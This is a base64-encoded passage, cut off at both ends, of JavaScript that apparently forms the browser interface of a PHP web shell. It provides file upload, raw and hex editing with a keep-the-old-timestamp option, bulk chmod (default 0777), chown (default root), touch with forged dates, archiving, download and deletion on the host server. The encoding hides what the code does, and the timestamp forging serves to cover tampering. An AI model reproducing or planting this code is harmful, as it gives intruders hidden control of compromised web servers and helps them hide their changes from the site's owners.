xlbmd0aC4qb2YuKmJ5dGVzLipleGNlZWRzLip0aGUuKmxpbWl0LipvZi8pKXsKCQkJCXJlcyA9ICdlcnJvcic7CgkJCX0KCgkJCWlmKHJlcz09J2Vycm9yJyl7CgkJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJfQoJCQllbHNlewoJCQkJJCgnLnVsUmVzJyt1bFR5cGUraSkuaHRtbChyZXMpOwoJCQl9CgkJCWxvYWRpbmdfc3RvcCgpOwoJCX0sCgkJZXJyb3I6IGZ1bmN0aW9uKCl7CgkJCWxvYWRpbmdfc3RvcCgpOwoJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkkKCcudWxGaWxlbmFtZScrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bEZpbGVuYW1lJyt1bFR5cGUraSk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHVsX2dvKHVsVHlwZSl7Cgl1bEZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlQ29tcCcpOiQoJy51bEZpbGVVcmwnKTsKCXVsUmVzdWx0ID0gKHVsVHlwZT09J2NvbXAnKT8gJCgnLnVsQ29tcFJlc3VsdCcpOiQoJy51bFVybFJlc3VsdCcpOwoJdWxSZXN1bHQuaHRtbCgnJyk7CgoJdWxGaWxlLmVhY2goZnVuY3Rpb24oaSl7CgkJaWYoKCh1bFR5cGU9PSdjb21wJykmJnRoaXMuZmlsZXNbMF0pfHwoKHVsVHlwZT09J3VybCcpJiYodGhpcy52YWx1ZSE9JycpKSl7CgkJCWZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyB0aGlzLmZpbGVzWzBdOiB0aGlzLnZhbHVlOwoJCQlmaWxlbmFtZSA9ICh1bFR5cGU9PSdjb21wJyk/IGZpbGUubmFtZTogZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpOwoKCQkJdWxTYXZlVG8gPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxTYXZlVG9Db21wJylbaV0udmFsdWU6JCgnLnVsU2F2ZVRvVXJsJylbaV0udmFsdWU7CgkJCXVsRmlsZW5hbWUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlbmFtZUNvbXAnKVtpXS52YWx1ZTokKCcudWxGaWxlbmFtZVVybCcpW2ldLnZhbHVlOwoKCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlJywgZmlsZSk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxTYXZlVG8nLCB1bFNhdmVUbyk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsIHVsRmlsZW5hbWUpOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsIHVsVHlwZSk7CgoJCQllbnRyeSA9ICI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+IjsKCQkJdWxSZXN1bHQuYXBwZW5kKGVudHJ5KTsKCgkJCWNoZWNrID0gdHJ1ZTsKCQkJaWYodWxUeXBlPT0nY29tcCcpewoJCQkJY2hlY2sgPSAoZmlsZS5zaXplPD0wKTsKCQkJfQoJCQllbHNlIGNoZWNrID0gKGZpbGU9PSIiKTsKCgkJCWlmKGNoZWNrKXsKCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOwoJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJJCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpOwoJCQl9CgkJCWVsc2V7CgkJCQl1bF9zdGFydChmb3JtRGF0YSwgdWxUeXBlLCBpKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsIGUsIGNhbGxiYWNrKXsKCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9CglmaXhfdGFiY2hhcihlbCwgZSk7Cn0KCmZ1bmN0aW9uIGVkaXRfc2F2ZV9yYXcoKXsKCWVkaXRfc2F2ZSgnZWRpdCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmVfaGV4KCl7CgllZGl0X3NhdmUoJ2hleCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmUoZWRpdFR5cGUpewoJZWRpdEZpbGVuYW1lID0gJCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpOwoJZWRpdElucHV0ID0gJCgnI2VkaXRJbnB1dCcpLnZhbCgpOwoJZWRpdFN1Y2Nlc3MgPSBmYWxzZTsKCXByZXNlcnZlVGltZXN0YW1wID0gJ2ZhbHNlJzsKCWlmKCQoJy5jQm94JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7ZWRpdFR5cGU6ZWRpdFR5cGUsZWRpdEZpbGVuYW1lOmVkaXRGaWxlbmFtZSxlZGl0SW5wdXQ6ZWRpdElucHV0LHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSwKCQlmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWVkaXRTdWNjZXNzID0gJ3N1Y2Nlc3MnOwoJCQl2aWV3KGVkaXRGaWxlbmFtZSwgZWRpdFR5cGUsIHByZXNlcnZlVGltZXN0YW1wKTsKCQl9CgkJZWxzZSBlZGl0U3VjY2VzcyA9ICdlcnJvcic7CgkJfQoJKTsKfQoKCgpmdW5jdGlvbiBtYXNzX2FjdCh0eXBlKXsKCWJ1ZmZlciA9IGdldF9hbGxfY2JveF9zZWxlY3RlZCgneHBsVGFibGUnLCAneHBsX2hyZWYnKTsKCglpZigodHlwZT09J2N1dCcpfHwodHlwZT09J2NvcHknKSl7CgkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckxlbmd0aCcsIGJ1ZmZlci5sZW5ndGgpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJBY3Rpb24nLCB0eXBlKTsKCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJfJytpLCB2KTsKCQl9KTsKCX0KCWVsc2UgaWYodHlwZT09J3Bhc3RlJyl7CgkJYnVmZmVyTGVuZ3RoID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckxlbmd0aCcpOwoJCWJ1ZmZlckFjdGlvbiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTsKCQlpZihidWZmZXJMZW5ndGg+MCl7CgkJCW1hc3NCdWZmZXIgPSAnJzsKCQkJZm9yKHZhciBpPTA7aTxidWZmZXJMZW5ndGg7aSsrKXsKCQkJCWlmKChidWZmID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlcl8nK2kpKSl7CgkJCQkJbWFzc0J1ZmZlciArPSBidWZmICsgJ1xuJzsKCQkJCX0KCQkJfQoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY3V0JykgdGl0bGUgPSAnbW92ZSc7CgkJCWVsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIHRpdGxlID0gJ2NvcHknOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz4iK3RpdGxlKyIgaGVyZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fcGFzdGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJ3Bhc3RlJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9CgoJfQoJZWxzZSBpZigodHlwZT09J2V4dHJhY3QgKHRhciknKXx8KHR5cGU9PSdleHRyYWN0ICh0YXIuZ3opJyl8fCh0eXBlPT0nZXh0cmFjdCAoemlwKScpKXsKCQlpZih0eXBlPT0nZXh0cmFjdCAodGFyKScpIGFyY1R5cGUgPSAndW50YXInOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHRhci5neiknKSBhcmNUeXBlID0gJ3VudGFyZ3onOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHppcCknKSBhcmNUeXBlID0gJ3VuemlwJzsKCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkV4dHJhY3QgdG88L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIicgIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5leHRyYWN0PC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKCh0eXBlPT0nY29tcHJlc3MgKHRhciknKXx8KHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpfHwodHlwZT09J2NvbXByZXNzICh6aXApJykpewoJCWRhdGUgPSBuZXcgRGF0ZSgpOwoJCXJhbmQgPSBkYXRlLmdldFRpbWUoKTsKCQlpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXsKCQkJYXJjVHlwZSA9ICd0YXInOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy50YXInOwoJCX0KCQllbHNlIGlmKHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpewoJCQlhcmNUeXBlID0gJ3Rhcmd6JzsKCQkJYXJjRmlsZW5hbWUgPSByYW5kKycudGFyLmd6JzsKCQl9CgkJZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHppcCknKXsKCQkJYXJjVHlwZSA9ICd6aXAnOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy56aXAnOwoJCX0KCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkFyY2hpdmU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrYXJjRmlsZW5hbWUrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmNvbXByZXNzPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKHR5cGUhPScnKXsKCQlpZihidWZmZXIubGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQkJCW1hc3NCdWZmZXIgKz0gdiArICdcbic7CgkJCX0pOwoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoJCQl0aXRsZSA9IHR5cGU7CgkJCWxpbmUgPSAnJzsKCQkJaWYodHlwZT09J2NobW9kJykgbGluZSA9ICI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNobW9kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPScwNzc3JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjsKCQkJZWxzZSBpZih0eXBlPT0nY2hvd24nKSBsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2hvd248L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9J3Jvb3QnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iOwoJCQllbHNlIGlmKHR5cGU9PSd0b3VjaCcpewoJCQkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJCQlsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+dG91Y2g8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrbm93LnRvR01UU3RyaW5nKCkrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiI7CgkJCX0KCgkJCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+IitsaW5lKyI8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIit0eXBlKyInKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCQkJc2hvd19ib3godWNmaXJzdCh0aXRsZSksIGNvbnRlbnQpOwoJCX0KCX0KCgkkKCcuY0JveFNlbGVjdGVkJykucmVtb3ZlQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpOwoJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdGFyKCl7CgltYXNzX2FjdF9nbygndGFyJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Rhcmd6KCl7CgltYXNzX2FjdF9nbygndGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29femlwKCl7CgltYXNzX2FjdF9nbygnemlwJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3VudGFyKCl7CgltYXNzX2FjdF9nbygndW50YXInKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXJneigpewoJbWFzc19hY3RfZ28oJ3VudGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW56aXAoKXsKCW1hc3NfYWN0X2dvKCd1bnppcCcpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb19wYXN0ZSgpewoJbWFzc19hY3RfZ28oJ3Bhc3RlJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX2NobW9kKCl7CgltYXNzX2FjdF9nbygnY2htb2QnKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fY2hvd24oKXsKCW1hc3NfYWN0X2dvKCdjaG93bicpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb190b3VjaCgpewoJbWFzc19hY3RfZ28oJ3RvdWNoJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvKG1hc3NUeXBlKXsKCW1hc3NCdWZmZXIgPSAkLnRyaW0oJCgnLm1hc3NCdWZmZXInKS52YWwoKSk7CgltYXNzUGF0aCA9IGdldF9jd2QoKTsKCW1hc3NWYWx1ZSA9ICcnOwoJaWYobWFzc1R5cGU9PSdwYXN0ZScpewoJCWJ1ZmZlckxlbmd0aCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJMZW5ndGgnKTsKCQlidWZmZXJBY3Rpb24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7CgkJaWYoYnVmZmVyTGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCWZvcih2YXIgaT0wO2k8YnVmZmVyTGVuZ3RoO2krKyl7CgkJCQlpZigoYnVmZiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpewoJCQkJCW1hc3NCdWZmZXIgKz0gYnVmZiArICdcbic7CgkJCQl9CgkJCX0KCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIG1hc3NUeXBlID0gJ2NvcHknOwoJCQllbHNlIGlmKGJ1ZmZlckFjdGlvbj09J2N1dCcpIG1hc3NUeXBlID0gJ2N1dCc7CgkJfQoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXsKCQltYXNzVmFsdWUgPSAkKCcubWFzc1ZhbHVlJykudmFsKCk7Cgl9CgllbHNlIGlmKChtYXNzVHlwZT09J3RhcicpfHwobWFzc1R5cGU9PSd0YXJneicpfHwobWFzc1R5cGU9PSd6aXAnKSl7CgkJbWFzc1ZhbHVlID0gJCgnLm1hc3NWYWx1ZScpLnZhbCgpOwoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSd1bnRhcicpfHwobWFzc1R5cGU9PSd1bnRhcmd6Jyl8fChtYXNzVHlwZT09J3VuemlwJykpewoJCW1hc3NWYWx1ZSA9ICQoJy5tYXNzVmFsdWUnKS52YWwoKTsKCX0KCgoJaWYobWFzc0J1ZmZlciE9JycpewoJCXNlbmRfcG9zdCh7bWFzc1R5cGU6bWFzc1R5cGUsbWFzc0J1ZmZlcjptYXNzQnVmZmVyLG1hc3NQYXRoOm1hc3NQYXRoLG1hc3NWYWx1ZTptYXNzVmFsdWUgfSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKHJlcysnIE9wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQkJfQoJCQllbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyk7CgkJCW5hdmlnYXRlKGdldF9jd2QoKSk7CgkJfSk7Cgl9Cn0KCmZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7Cgl0b3RhbFNlbGVjdGVkID0gJCgnI3hwbFRhYmxlJykuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5sZW5ndGg7CglpZih0b3RhbFNlbGVjdGVkPT0wKSAkKCcueHBsU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyk7Cn0KCgpmdW5jdGlvbiB4cGxfYmluZCgpewoJJCgnLm5hdmlnYXRlJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmlnYXRlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmF2YmFyJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmJhcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSAkKHRoaXMpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmV3Zm9sZGVyJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZvbGRlcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCW5ld2ZvbGRlcihwYXRoKTsKCX0pOwoKCSQoJy5uZXdmaWxlJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZpbGUnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQluZXdmaWxlKHBhdGgpOwoJfSk7CgoJJCgnLmRlbCcpLm9mZignY2xpY2snKTsKCSQoJy5kZWwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlkZWwocGF0aCk7Cgl9KTsKCgkkKCcudmlldycpLm9mZignY2xpY2snKTsKCSQoJy52aWV3Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCXZpZXcocGF0aCwgJ2F1dG8nKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmhleCcpLm9mZignY2xpY2snKTsKCSQoJy5oZXgnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0geHBsX2hyZWYoJCh0aGlzKSk7CgkJdmlldyhwYXRoLCAnaGV4Jyk7Cgl9KTsKCgkkKCcjdmlld0Z1bGxzaXplJykub2ZmKCdjbGljaycpOwoJJCgnI3ZpZXdGdWxsc2l6ZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXNyYyA9ICQoJyN2aWV3SW1hZ2UnKS5hdHRyKCdzcmMnKTsKCQl3aW5kb3cub3BlbihzcmMpOwoJfSk7CgoJJCgnLmVkaXQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZWRpdCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQl2aWV3KHBhdGgsICdlZGl0Jyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy5yZW4nKS5vZmYoJ2NsaWNrJyk7CgkkKCcucmVuJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJcmVuKHBhdGgpOwoJfSk7CgoJJCgnLmFjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJy5hY3Rpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlhY3Rpb24ocGF0aCwgJ2ZpbGUnKTsKCX0pOwoKCSQoJy5hY3Rpb25mb2xkZXInKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZm9sZGVyJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkaXInKTsKCX0pOwoKCSQoJy5hY3Rpb25kb3QnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZG90Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkb3QnKTsKCX0pOwoKCSQoJy5kbCcpLm9mZignY2xpY2snKTsKCSQoJy5kbCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkb3dubG9hZCcgdmFsdWU9JyIrcGF0aCsiJz4iKTsKCQkkKCcjZm9ybScpLnN1Ym1pdCgpOwoJCSQoJyNmb3JtJykuaHRtbCgnJyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy51bCcpLm9mZignY2xpY2snKTsKCSQoJy51bCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQl1bChwYXRoKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmZpbmQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZmluZCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQlmaW5kKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJyNtYXNzQWN0aW9uJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjbWFzc0FjdGlvbicpLnZhbCgpOwoJCW1hc3NfYWN0KHR5cGUpOwoJCSQoJyNtYXNzQWN0aW9uJykudmFsKCdBY3Rpb24nKTsKCX0pOwoKCWNib3hfYmluZCgneHBsVGFibGUnLCd4cGxfdXBkYXRlX3N0YXR1cycpOwp9CgpmdW5jdGlvbiB4cGxfaHJlZihlbCl7CglyZXR1cm4gZWwucGFyZW50KCkucGFyZW50KC